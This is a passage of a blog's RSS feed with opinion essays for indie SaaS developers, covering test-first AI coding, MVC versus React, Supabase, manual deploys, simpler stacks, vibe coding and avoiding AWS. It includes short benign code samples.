is your junior developer. You write intent; it writes implementation.</p><p>And the result? Not just leaner code —<em>well-tested</em> code.</p><p>Every piece the AI touches has a corresponding test. You don’t end up with half-baked helpers or random abstractions. You end up with code that behaves exactly as you specified — and a test suite that proves it.</p><p>Funny how things come around. TDD started as a discipline for human developers decades ago — a way to enforce thoughtfulness and quality. Who knew it would become the perfect antidote to AI code chaos in 2025?</p><p>Sometimes I even take it a step further and ask the AI to<em>suggest</em> the tests before I refine them. It’s a nice warm-up — like brainstorming edge cases before getting serious. You could call that the zeroth step. Maybe I’ll write about that next.</p><p>For now, try this:</p><p>The next time you reach for your coding assistant, don’t ask it to build something.</p><p>Write a failing test. Then tell the AI, “Make this pass.”</p><p>You’ll get cleaner code, stronger tests, and maybe — for the first time — a sense that you’re the one driving again.</p>
]]></content:encoded></item><item><title>You’re Making Your SaaS Harder Than It Needs to Be</title><link>https://lakshminp.com/2025/10/saas-simplicity/</link><pubDate>Thu, 16 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/saas-simplicity/</guid><category>essays</category><category>saas</category><description>A few weeks ago, I spent an entire evening chasing a bug in a React component that refused to re-render.
I tried useEffect. Then useMemo. Then stared at the dependency array like it had personally wronged me. Eventually, I fixed it — by restarting the dev server.
That’s when it hit me: React wasn’t made for people like me.
React was built for teams — with dedicated frontend engineers, design systems, review processes, and time to care about component hierarchies. I’m just trying to build a SaaS. Alone.</description><content:encoded>&lt;![CDATA[<p>A few weeks ago, I spent an entire evening chasing a bug in a React component that refused to re-render.</p><p>I tried<code>useEffect</code>. Then<code>useMemo</code>. Then stared at the dependency array like it had personally wronged me. Eventually, I fixed it — by restarting the dev server.</p><p>That’s when it hit me:<strong>React wasn’t made for people like me.</strong></p><p>React was built for<em>teams</em> — with dedicated frontend engineers, design systems, review processes, and time to care about component hierarchies. I’m just trying to build a SaaS. Alone.</p><p>And as a solo dev, every layer of “modern architecture” feels like an extra wall between me and shipping.</p><p>I’m not great at React — mediocre, at best. But that’s the point. The tools I use shouldn’t need me to be great at them to get work done.</p><p>I don’t hate React. I hate how easily it turns small projects into puzzles.</p><p>The setup is never small: package managers, routing, build tools, state management, API layers, hydration. It’s an entire ecosystem just to render some HTML.</p><p>At some point, you stop writing features and start maintaining your own framework.</p><p>And no — AI coding assistants don’t make this any easier.</p><p>They’ll happily generate components, hooks, and entire pages for you. But they also multiply the cognitive load. You end up with auto-written code you didn’t fully read, logic you didn’t author, and bugs you can’t mentally trace.</p><p>AI helps you go faster — straight into the same wall.</p><p>When the code gets complex, you’re still the one debugging it at 1 a.m., trying to remember why useEffect depends on a variable that no longer exists.</p><p>Meanwhile, the old-school Model-View-Controller pattern — the one we abandoned because it wasn’t “modern” enough — still does the job.</p><p>Django, Rails, Laravel — these frameworks have one big thing React doesn’t:<strong>a consistent mental model.</strong> You don’t have to remember whether a component is server or client. You just write code that responds to requests and sends back HTML.</p><p>MVC assumes you’re one person who wants to move fast. React assumes you’re part of a team that can afford to slow down.</p><p>In MVC land, there’s no build step. No hydration mismatch. No npm install that randomly breaks after a week. You can teach a junior developer (or your future self) the whole stack in an afternoon.</p><p>The irony is that React is now rediscovering what MVC never forgot. Server components, data fetching, progressive rendering — all old ideas wearing new clothes.</p><p>And that’s fine. The web evolves. But if you’re an indie developer building your first or fifth SaaS, you don’t need to play catch-up with every new abstraction.</p><p>Complexity is not a sign of progress. It’s often just inertia.</p><p>Simplicity compounds. Every decision you<em>don’t</em> make leaves you more energy to focus on what matters — your users, your pricing, your roadmap, your survival.</p><p>So if your stack feels heavy, it’s not your idea that’s broken. It’s your setup.</p><p>You don’t need a front-end framework to validate your business.</p><p>You need feedback. Fast.</p><p>And for that, an old-fashioned MVC stack will get you further than a “modern” one built on a mountain of npm packages.</p><p>React is powerful — no argument there. But power isn’t the same as momentum.</p><p>For indie devs, momentum wins. Every time.</p>
]]></content:encoded></item><item><title>If I Were Starting a New SaaS Today, I'd Do This</title><link>https://lakshminp.com/2025/10/if-i-were-starting-a-saas-today/</link><pubDate>Wed, 15 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/if-i-were-starting-a-saas-today/</guid><category>essays</category><category>saas</category><description>Most SaaS projects fail because founders spend weeks building scaffolding instead of features. Here&amp;rsquo;s how to skip the boilerplate and ship fast.
I&amp;rsquo;ve built half a dozen SaaS products. Some succeeded. Most failed. But the failures taught me something critical: ideas don&amp;rsquo;t die from competition—they die from delayed launches.
You lose weeks setting up databases, authentication, APIs, file uploads, and admin panels before writing a single line of actual product code. By the time you&amp;rsquo;re ready to ship, momentum is gone.</description><content:encoded>&lt;![CDATA[<p>Most SaaS projects fail because founders spend weeks building scaffolding instead of features. Here&rsquo;s how to skip the boilerplate and ship fast.</p><p>I&rsquo;ve built half a dozen SaaS products. Some succeeded. Most failed. But the failures taught me something critical:<strong>ideas don&rsquo;t die from competition—they die from delayed launches</strong>.</p><p>You lose weeks setting up databases, authentication, APIs, file uploads, and admin panels before writing a single
line of actual product code. By the time you&rsquo;re ready to ship, momentum is gone.</p><p>If I were starting today, I&rsquo;d skip all that. I&rsquo;d use Supabase—and I&rsquo;d ship an MVP in days, not months.</p><h2 id="the-problem-with-building-from-scratch">The Problem with &ldquo;Building from Scratch&rdquo;</h2><p>Building foundations feels productive. You&rsquo;re writing code, making decisions, setting up infrastructure. But you&rsquo;re
not building anything users can touch.</p><p>Auth alone consumes days: password hashing, session management, password resets, email verification. Then you need
database migrations, API routes, input validation, error handling. Before you know it, you&rsquo;ve burned two weeks on
scaffolding.</p><p><strong>That&rsquo;s two weeks you could&rsquo;ve spent validating whether anyone actually wants what you&rsquo;re building.</strong></p><h2 id="why-supabase-changes-everything">Why Supabase Changes Everything</h2><p>Supabase isn&rsquo;t just a database. It&rsquo;s a complete backend—authentication, storage, real-time updates, edge functions—packaged
as a single platform. And unlike Firebase, it&rsquo;s built on PostgreSQL, so you&rsquo;re not locked into proprietary tech.</p><h3 id="postgresql-foundation">PostgreSQL Foundation</h3><p>Every table you create automatically gets REST and GraphQL APIs. No backend needed. Query directly from your frontend
with row-level security enforcing permissions at the database layer.</p><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">javascript</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// Fetch user's tasks directly from the frontend</span></span></span><span class="line"><span class="cl"><span class="kr">const</span><span class="p">{</span><span class="nx">data</span><span class="p">,</span><span class="nx">error</span><span class="p">}</span><span class="o">=</span><span class="kr">await</span><span class="nx">supabase</span></span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="s1">'tasks'</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">select</span><span class="p">(</span><span class="s1">'*'</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">eq</span><span class="p">(</span><span class="s1">'user_id'</span><span class="p">,</span><span class="nx">userId</span><span class="p">);</span></span></span></code></pre></div></div><p>You still get full PostgreSQL power: triggers, extensions, stored procedures, joins, indexes. It&rsquo;s not a toy database—it&rsquo;s
enterprise-grade Postgres with a developer experience that doesn&rsquo;t suck.</p><h3 id="authentication-that-just-works">Authentication That Just Works</h3><p>Built-in support for email/password, magic links, OTPs, OAuth (Google, GitHub, etc.), and custom SSO. User records live
in your Postgres schema. Add custom fields. Create relationships. No vendor lock-in.</p><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">javascript</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// Sign up with email/password</span></span></span><span class="line"><span class="cl"><span class="kr">const</span><span class="p">{</span><span class="nx">user</span><span class="p">,</span><span class="nx">error</span><span class="p">}</span><span class="o">=</span><span class="kr">await</span><span class="nx">supabase</span><span class="p">.</span><span class="nx">auth</span><span class="p">.</span><span class="nx">signUp</span><span class="p">({</span></span></span><span class="line"><span class="cl"><span class="nx">email</span><span class="o">:</span><span class="s1">'user@example.com'</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nx">password</span><span class="o">:</span><span class="s1">'secure-password'</span></span></span><span class="line"><span class="cl"><span class="p">});</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="c1">// Magic link (passwordless)</span></span></span><span class="line"><span class="cl"><span class="kr">await</span><span class="nx">supabase</span><span class="p">.</span><span class="nx">auth</span><span class="p">.</span><span class="nx">signInWithOtp</span><span class="p">({</span></span></span><span class="line"><span class="cl"><span class="nx">email</span><span class="o">:</span><span class="s1">'user@example.com'</span></span></span><span class="line"><span class="cl"><span class="p">});</span></span></span></code></pre></div></div><p>No JWT libraries. No session stores. No password reset flows. It&rsquo;s handled. You write product code.</p><h3 id="real-time-updates-without-redis">Real-Time Updates Without Redis</h3><p>WebSocket-based subscriptions give you instant updates on table changes. No message brokers. No Kafka. No Redis pub/sub.</p><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">javascript</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// Subscribe to new messages</span></span></span><span class="line"><span class="cl"><span class="nx">supabase</span></span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">channel</span><span class="p">(</span><span class="s1">'messages'</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s1">'postgres_changes'</span><span class="p">,</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nx">event</span><span class="o">:</span><span class="s1">'INSERT'</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nx">schema</span><span class="o">:</span><span class="s1">'public'</span><span class="p">,</span></span></span><span class="line"><span class="cl"><span class="nx">table</span><span class="o">:</span><span class="s1">'messages'</span></span></span><span class="line"><span class="cl"><span class="p">},</span><span class="p">(</span><span class="nx">payload</span><span class="p">)</span><span class="p">=&gt;</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'New message:'</span><span class="p">,</span><span class="nx">payload</span><span class="p">.</span><span class="k">new</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">})</span></span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">subscribe</span><span class="p">();</span></span></span></code></pre></div></div><p>Insert a row in your messages table? All connected clients receive it instantly. Build chat, notifications, live dashboards—without
standing up infrastructure.</p><h3 id="row-level-security">Row-Level Security</h3><p>Database-level authorization policies replace entire backend authorization layers. One policy line defines who can access what.</p><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">sql</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="cl"><span class="c1">-- Users can only see their own tasks</span></span></span><span class="line"><span class="cl"><span class="k">CREATE</span><span class="w"/><span class="n">POLICY</span><span class="w"/><span class="s2">"Users see own tasks"</span><span class="w"/></span></span><span class="line"><span class="cl"><span class="w"/><span class="k">ON</span><span class="w"/><span class="n">tasks</span><span class="w"/><span class="k">FOR</span><span class="w"/><span class="k">SELECT</span><span class="w"/></span></span><span class="line"><span class="cl"><span class="w"/><span class="k">USING</span><span class="w"/><span class="p">(</span><span class="n">auth</span><span class="p">.</span><span class="n">uid</span><span class="p">()</span><span class="w"/><span class="o">=</span><span class="w"/><span class="n">user_id</span><span class="p">);</span></span></span></code></pre></div></div><p>Policies compose. Multi-tenant? Add tenant_id checks. Admin override? Add role conditions. Security moves from scattered
backend checks to centralized, auditable rules.</p><h3 id="storage--edge-functions">Storage &amp; Edge Functions</h3><p>Native file upload handling with access rules compatible with row-level security. TypeScript-based edge functions deploy
in seconds for webhooks, scheduled jobs, or integrations.</p><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">javascript</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// Upload file with automatic access control</span></span></span><span class="line"><span class="cl"><span class="kr">const</span><span class="p">{</span><span class="nx">data</span><span class="p">,</span><span class="nx">error</span><span class="p">}</span><span class="o">=</span><span class="kr">await</span><span class="nx">supabase</span><span class="p">.</span><span class="nx">storage</span></span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="s1">'avatars'</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nx">upload</span><span class="p">(</span><span class="sb">`</span><span class="si">${</span><span class="nx">userId</span><span class="si">}</span><span class="sb">/avatar.png`</span><span class="p">,</span><span class="nx">file</span><span class="p">);</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="c1">// Edge function for webhook processing</span></span></span><span class="line"><span class="cl"><span class="kr">import</span><span class="p">{</span><span class="nx">serve</span><span class="p">}</span><span class="nx">from</span><span class="s1">'https://deno.land/std/http/server.ts'</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="nx">serve</span><span class="p">(</span><span class="kr">async</span><span class="p">(</span><span class="nx">req</span><span class="p">)</span><span class="p">=&gt;</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="kr">const</span><span class="nx">payload</span><span class="o">=</span><span class="kr">await</span><span class="nx">req</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span></span></span><span class="line"><span class="cl"><span class="c1">// Process webhook</span></span></span><span class="line"><span class="cl"><span class="k">return</span><span class="k">new</span><span class="nx">Response</span><span class="p">(</span><span class="s1">'OK'</span><span class="p">,</span><span class="p">{</span><span class="nx">status</span><span class="o">:</span><span class="mi">200</span><span class="p">});</span></span></span><span class="line"><span class="cl"><span class="p">});</span></span></span></code></pre></div></div><h2 id="the-developer-experience-you-deserve">The Developer Experience You Deserve</h2><p>The CLI, dashboard, SQL editor, and APIs feel cohesive. You&rsquo;re not juggling five different tools with five different
authentication methods. Everything integrates.</p><p>Need to see your database? Open the dashboard. Want to test a query? Use the SQL editor. Ready to deploy a function?<code>supabase functions deploy</code>. It just works.</p><h2 id="open-source--portability">Open Source &amp; Portability</h2><p>Unlike Firebase, Supabase runs self-hosted via Docker Compose. Start on their hosted platform. Move to self-hosted
if you outgrow it. Same codebase. Same developer experience.</p><p>You&rsquo;re not locked in. Your data is Postgres. Your auth is Postgres. Your files are S3-compatible storage. If Supabase
disappears tomorrow, you can migrate. Try doing that with Firebase.</p><h2 id="ship-fast-own-your-stack-avoid-unnecessary-complexity">Ship Fast, Own Your Stack, Avoid Unnecessary Complexity</h2><p>This is the indie developer playbook: start small, ship fast, scale naturally. Supabase embodies that philosophy.</p><p>You&rsquo;re not choosing between a custom backend and a proprietary platform. Supabase sits in the middle—powerful enough
for serious applications, simple enough to start with one table and an auth flow.</p><p><strong>If I were starting a SaaS today, I&rsquo;d skip the scaffolding. I&rsquo;d use Supabase. And I&rsquo;d ship in days—not weeks.</strong></p><p>Because the best way to validate an idea isn&rsquo;t to build perfect infrastructure. It&rsquo;s to put something in front of users
and learn whether they care.</p><p>Supabase gets you there faster. And when you&rsquo;re running solo, speed is everything.</p>
]]></content:encoded></item><item><title>Don’t write a CD pipeline yet</title><link>https://lakshminp.com/2025/10/dont-write-a-cd-pipeline-yet/</link><pubDate>Tue, 14 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/dont-write-a-cd-pipeline-yet/</guid><category>essays</category><category>craft</category><description>We love to automate things we barely understand. I’ve seen it in every team I’ve worked with — the moment an app runs on someone’s laptop, the next conversation is, “Let’s set up CI/CD.” Jenkins, GitHub Actions, ArgoCD — whatever’s shiny at the moment. It feels like progress. But most of the time, it’s premature optimization disguised as productivity.
If you’ve never deployed your app by hand, you don’t deserve automation yet. Harsh? Maybe. But true.</description><content:encoded>&lt;![CDATA[<p>We love to automate things we barely understand. I’ve seen it in every team I’ve worked with — the moment an app runs on someone’s laptop, the next conversation is, “Let’s set up CI/CD.” Jenkins, GitHub Actions, ArgoCD — whatever’s shiny at the moment. It feels like progress. But most of the time, it’s premature optimization disguised as productivity.</p><p>If you’ve never deployed your app by hand, you don’t deserve automation yet. Harsh? Maybe. But true.</p><p>Because until you’ve felt the friction of deployment — the SSH into your server, the environment variables you forgot to set, the database migration that didn’t run, the static files that didn’t refresh — you have no idea what you’re automating. You’re just encoding mystery and hope into your YAML.</p><p>Every good pipeline starts as a manual ritual.</p><p>You push code.</p><p>You build it.</p><p>You ship it.</p><p>You see what breaks.</p><p>You fix it.</p><p>You repeat.</p><p>Somewhere along the way, you start noticing patterns. “I always forget this one step.” “This command takes too long.” “This config should be parameterized.” That’s when automation makes sense — when it saves you from<em>known pain</em>, not imagined complexity.</p><p>A lot of engineers treat automation as a status symbol. If it’s not fully automated, it’s “not professional.” But automation without understanding is just faster failure. A broken pipeline that hides its steps is worse than no pipeline at all. At least with manual deploys, you see what’s happening.</p><p>When you deploy by hand, you learn how your system<em>breathes.</em> You watch logs scroll. You wait for the container to restart. You notice how long migrations take. You catch subtle things — an environment variable typo, a port binding issue, a permissions error — things that a pipeline will fail silently on, leaving you staring at a red ❌ with no clue why.</p><p>It’s like driving a stick shift before an automatic — once you’ve done it, you understand the gears. You feel the engine. Later, when the system drives itself, you’ll still know when something’s off.</p><p>I’ve seen teams automate their deploys too early and then spend weeks debugging the automation instead of the app. They ship to staging, something breaks, and nobody knows which part of the pipeline did it. It’s a house of cards built on blind trust.</p><p>Manual deploys are humbling. They slow you down — in a good way. They expose weak spots. And they give you confidence that you can recover when things go sideways. That’s the foundation you want before you bring in CI/CD.</p><p>Once you’ve done it manually a few times, automation becomes obvious. You’ll know which parts to script, which to leave flexible, and which deserve a human eye. That’s when your pipeline becomes a force multiplier instead of a black box.</p><p>So before you open GitHub Actions, before you write your first .yaml, do it yourself. SSH into the box. Run the commands(Or run kubectl/helm. Pick your poison). Watch the logs. Feel the pain. Because once you understand it deeply, you’ll automate with empathy — not arrogance. And that’s the kind of automation that lasts.</p>
]]></content:encoded></item><item><title>The Hidden Tax Slowing Down Indie SaaS Builders</title><link>https://lakshminp.com/2025/10/indie-saas-hidden-tax/</link><pubDate>Mon, 13 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/indie-saas-hidden-tax/</guid><category>essays</category><category>saas</category><description>We’ve been sold a lie — that every modern web app needs to be a “real app.”
You know the drill: a dedicated frontend built with React or Next.js, an API-only backend, and a separate database layer neatly tucked behind it.
It looks professional. It feels scalable.
But for indie developers building SaaS products, it’s a trap.
When you’re a solo founder or a two-person team trying to validate an idea, the 3-tier architecture — frontend + API + database — is rarely your friend.</description><content:encoded>&lt;![CDATA[<p>We’ve been sold a lie — that every modern web app needs to be a “real app.”</p><p>You know the drill: a dedicated frontend built with React or Next.js, an API-only backend, and a separate database layer neatly tucked behind it.</p><p>It looks professional. It feels scalable.</p><p>But for indie developers building SaaS products, it’s a trap.</p><p>When you’re a solo founder or a two-person team trying to validate an idea, the 3-tier architecture —<strong>frontend + API + database</strong> — is rarely your friend.</p><p>It’s a cognitive and operational tax disguised as “best practice.”</p><p>Think about what you’re actually doing when you follow this pattern:</p><ul><li><p>You spin up a frontend repo with its own dependencies, build system, routing, and deployment.</p></li><li><p>You spin up a backend API that must serialize, authenticate, and talk over HTTP just to move data between two systems you control.</p></li><li><p>You wire in your database and ORM, create migrations, and write serializers or DTOs to keep everyone happy.</p></li></ul><p>That’s three moving parts. Three deploys. Three layers of bugs.</p><p>For what?</p><p>Most MVPs don’t need “layers.” They need<strong>feedback.</strong></p><h2 id="the-3-tier-pattern-serves-organizations-not-builders"><strong>The 3-Tier Pattern Serves Organizations, Not Builders</strong></h2><p>Here’s the truth: this architecture exists to serve<em>org structure</em>, not product velocity.</p><p>Big companies need clear boundaries because they have teams:</p><ul><li><p>Frontend team</p></li><li><p>Backend team</p></li><li><p>Ops team</p></li></ul><p>The 3-tier pattern is basically Conway’s Law in code form — architecture mirroring the communication lines of large organizations.</p><p>But when you’re building your first SaaS, you<strong>are</strong> the team.</p><p>You don’t need boundaries between yourself. You need flow.</p><p>Every layer you add between user action and business logic slows that flow down. Every abstraction adds cognitive overhead. You spend more time plumbing than building.</p><h2 id="the-cognitive-overload-of-modern"><strong>The Cognitive Overload of “Modern”</strong></h2><p>React and friends were meant to solve complexity. Ironically, they’ve become a source of it.</p><p>A simple button click in React is rarely just a button click. It’s:</p><ul><li><p>A component that imports five dependencies.</p></li><li><p>A state hook managing a boolean.</p></li><li><p>A context provider that tracks global state.</p></li><li><p>An API call wrapped in a useEffect that must sync with local cache.</p></li></ul><p>You could’ve just written:</p><blockquote><p><code>&lt;button hx-post=”/like” hx-swap=”outerHTML”&gt;Like&lt;/button&gt;</code></p></blockquote><p>and been done with it.</p><p>React, Vue, Svelte — they’re incredible for rich UIs, but they demand constant context switching. JSX, state management, bundlers, APIs, hydration. Each decision compounds.</p><p>If your goal is to<strong>ship a paid product</strong>, not a code showcase, that complexity is friction.</p><h2 id="the-modern-backend-first-stack"><strong>The Modern “Backend-First” Stack</strong></h2><p>Choosing a simpler path doesn’t mean going back to sticks and stones.</p><p>HTML isn’t dead. It’s evolved.</p><p>You can build interactive, modern interfaces right inside your backend using tools like:</p><ul><li><p><strong>HTMX</strong> – progressive HTML-over-the-wire, no full reloads.</p></li><li><p><strong>Alpine.js</strong> – small, declarative reactivity.</p></li><li><p><strong>Tailwind CSS</strong> – utility-first design system that makes you fast<em>and</em> consistent.</p></li></ul><p>Together, they form a sweet spot:</p><ul><li><p>You write<strong>HTML templates</strong> with embedded actions.</p></li><li><p>You sprinkle<strong>JS</strong> only where it matters.</p></li><li><p>You serve it directly from your backend.</p></li></ul><p>No API layer. No hydration. No build pipeline. Just requests, responses, and users getting what they came for.</p><p>You still get interactivity, animations, modals, and dynamic UI updates — but with a tenth of the cognitive load.</p><p>This means faster iteration cycles, smaller deployments, and drastically fewer bugs.</p><p>Your stack lives in one repo.</p><p>Your deploy command is one line.</p><p>Your brainspace is freed up for actual product thinking.</p><h2 id="but-what-about-scaling"><strong>“But What About Scaling?”</strong></h2><p>That’s the wrong question for 95% of MVPs.</p><p>You don’t have a scaling problem until you have<em>users</em>.</p><p>Startups die from lack of traction, not lack of microservices.</p><p>If you ever outgrow this setup — great. Peel off layers later.</p><p>Turn your backend endpoints into APIs, move your UI to React, or even split your services. By then you’ll have revenue, validation, and real data to justify the refactor.</p><p>Premature architecture is just another form of procrastination.</p><h2 id="the-hidden-benefit-mental-clarity"><strong>The Hidden Benefit: Mental Clarity</strong></h2><p>Beyond performance and simplicity, there’s a more subtle gain:<strong>cognitive freedom.</strong></p><p>When your stack is unified, your brain can focus on the user flow instead of the glue code.</p><p>You can see everything — UI, logic, and data — in one place.</p><p>It feels cohesive.</p><p>You’re not juggling three languages, four toolchains, and two servers.</p><p>You’re just shipping.</p><p>And that matters more than any buzzword architecture ever will.</p><h2 id="the-takeaway-for-indie-saas-builders"><strong>The Takeaway for Indie SaaS Builders</strong></h2><p>You don’t get extra points for being complex.</p><p>You get rewarded for being useful.</p><p>A simpler stack means:</p><ul><li><p>Faster idea-to-demo time.</p></li><li><p>Easier onboarding if you add help later.</p></li><li><p>Fewer mental tabs open.</p></li><li><p>Lower hosting costs.</p></li><li><p>And most importantly — fewer excuses to delay launch.</p></li></ul><p>You can build 80% of what you think you need with plain HTML templates, Tailwind, and a bit of JS. Add Alpine for interactivity, HTMX for AJAX-like flow, and you’ll rival the speed of any React-Next duo out there.</p><p>Stop architecting for imaginary scale. Start shipping for real users.</p><p>Because the faster you close the gap between<em>idea</em> and<em>feedback</em>, the faster you learn, iterate, and make money.</p><p>And that’s the only scale that matters when you’re small.</p>
]]></content:encoded></item><item><title>How indie devs can vibe code fast without sinking their own ship</title><link>https://lakshminp.com/2025/10/vibe-code-fast-safely/</link><pubDate>Sun, 12 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/vibe-code-fast-safely/</guid><category>essays</category><category>saas</category><category>ai-coding</category><description>There’s a quiet war inside every indie developer I know.
One part of you just wants to build.
To open the editor, follow your curiosity, and see something real come alive on screen.
That’s the vibe coder in you — the part that moves fast, trusts intuition, and believes momentum creates clarity.
Then there’s the other voice.
The one whispering about tests, migrations, rate limits, and all the invisible things that keep production from burning down.</description><content:encoded>&lt;![CDATA[<p>There’s a quiet war inside every indie developer I know.</p><p>One part of you just wants to<em>build</em>.</p><p>To open the editor, follow your curiosity, and see something real come alive on screen.</p><p>That’s the<strong>vibe coder</strong> in you — the part that moves fast, trusts intuition, and believes momentum creates clarity.</p><p>Then there’s the other voice.</p><p>The one whispering about tests, migrations, rate limits, and all the invisible things that keep production from burning down.</p><p>That’s the<strong>engineer</strong> in you — the part that’s seen systems crumble and knows “we’ll fix it later” often means “we’ll fix it never.”</p><p>Most of us swing between the two.</p><p>Too much vibe, and your SaaS turns into a spaghetti monster that terrifies future you.</p><p>Too much discipline, and you’ll design yourself into paralysis before your first user ever logs in.</p><p>The balance isn’t about finding the perfect middle ground — it’s about<strong>timing</strong>.</p><h2 id="phase-1-vibe-for-momentum"><strong>Phase 1: Vibe for Momentum</strong></h2><p>When you’re starting, you don’t need architecture.</p><p>You need<em>proof</em>. Proof that the idea resonates, that the workflow feels good, that you can sustain your own interest long enough to see it through.</p><p>Ship something messy.</p><p>Inline CSS. Hardcoded configs. A Docker Compose file running on your laptop.</p><p>If it helps you learn or get feedback faster, it’s good enough.</p><p>At this stage, your goal is to find the<em>pulse</em> of your product — the heartbeat that makes it worth polishing later.</p><h2 id="phase-2-add-discipline-for-survival"><strong>Phase 2: Add Discipline for Survival</strong></h2><p>Once someone uses it — or worse, depends on it — your job changes.</p><p>You’re no longer hacking; you’re maintaining.</p><p>That’s when guardrails matter.</p><p>Not enterprise-level bureaucracy, but the indie essentials:</p><p>rate limits, structured logs, CI checks, and a migration plan that won’t kill your data.</p><p>Each layer of success earns another layer of discipline.</p><p>That’s how you scale without killing your momentum.</p><h2 id="the-indie-balance"><strong>The Indie Balance</strong></h2><p>Vibe coding isn’t reckless.</p><p>It’s how you get to momentum.</p><p>But discipline is how you keep it.</p><p>The real art of indie software isn’t just writing good code.</p><p>It’s knowing<strong>when</strong> to write which kind of code.</p><p><strong>TL;DR:</strong></p><p>You start as an artist. You evolve into an engineer.</p><p>The trick is not to silence either voice — just let them take turns driving.</p>
]]></content:encoded></item><item><title>AWS Is Overrated</title><link>https://lakshminp.com/2025/10/aws-is-overrated/</link><pubDate>Sat, 11 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/aws-is-overrated/</guid><category>essays</category><category>kubernetes</category><description>If you’re an indie dev building your first SaaS, AWS is not your friend.
It’s a maze of services, dashboards, and acronyms pretending to make you productive while quietly billing you for curiosity.
Sure, it’s “the industry standard.” But here’s the thing: you’re not Netflix. You’re not Stripe. You don’t need fifteen managed services to ship an MVP. You just need one working prototype in front of users.
When I started shipping my own SaaS projects, I defaulted to AWS too. Everyone said it was the “serious” choice. I spun up EC2s, tinkered with VPCs, IAM roles, and CloudWatch dashboards.</description><content:encoded>&lt;![CDATA[<p>If you’re an indie dev building your first SaaS, AWS is not your friend.</p><p>It’s a maze of services, dashboards, and acronyms pretending to make you productive while quietly billing you for curiosity.</p><p>Sure, it’s “the industry standard.” But here’s the thing: you’re not Netflix. You’re not Stripe. You don’t need fifteen managed services to ship an MVP. You just need one working prototype in front of users.</p><p>When I started shipping my own SaaS projects, I defaulted to AWS too. Everyone said it was the “serious” choice. I spun up EC2s, tinkered with VPCs, IAM roles, and CloudWatch dashboards.</p><p>Two weeks later, my app still wasn’t live. But my bill was.</p><p>That’s when it clicked. AWS is optimized for<em>scale,</em> not<em>speed.</em> It’s designed for teams with DevOps pipelines, budgets, and compliance officers. Indie devs have none of those.</p><p><strong>Here’s the real problem:</strong></p><blockquote><p>AWS makes you<em>feel</em> productive because it has a service for everything.</p></blockquote><p>But it slows you down because you end up<em>assembling</em> infrastructure instead of shipping software.</p><p>You’re busy wiring VPCs while your users are waiting for a login page.</p><p>If you’re building your first SaaS, you’re better off with:</p><ul><li><p><strong>Render</strong> or<strong>Fly.io</strong> for fast deploys.</p></li><li><p><strong>Railway</strong>,<strong>Supabase</strong> if you love simplicity.</p></li><li><p>DigitalOcean app platform</p></li><li><p>Or even your own<strong>K3s</strong> box on a $30 DigitalOcean droplet if you like to tinker.(More on this in future posts)</p></li></ul><p>You’ll have full control, predictable costs, and a deploy story you can explain in a single sentence.</p><p>That’s what matters at your stage — not five-nines availability across three regions.</p><p>AWS will always have its place. It’s incredible at running serious workloads, regulated systems, and multi-tenant platforms at scale.</p><p>But for indie devs trying to launch, learn, and iterate fast — it’s<em>overkill.</em></p><p>Use the simplest stack that lets you ship.</p><p>Add complexity only when success forces you to.</p><p>Because nothing kills momentum faster than 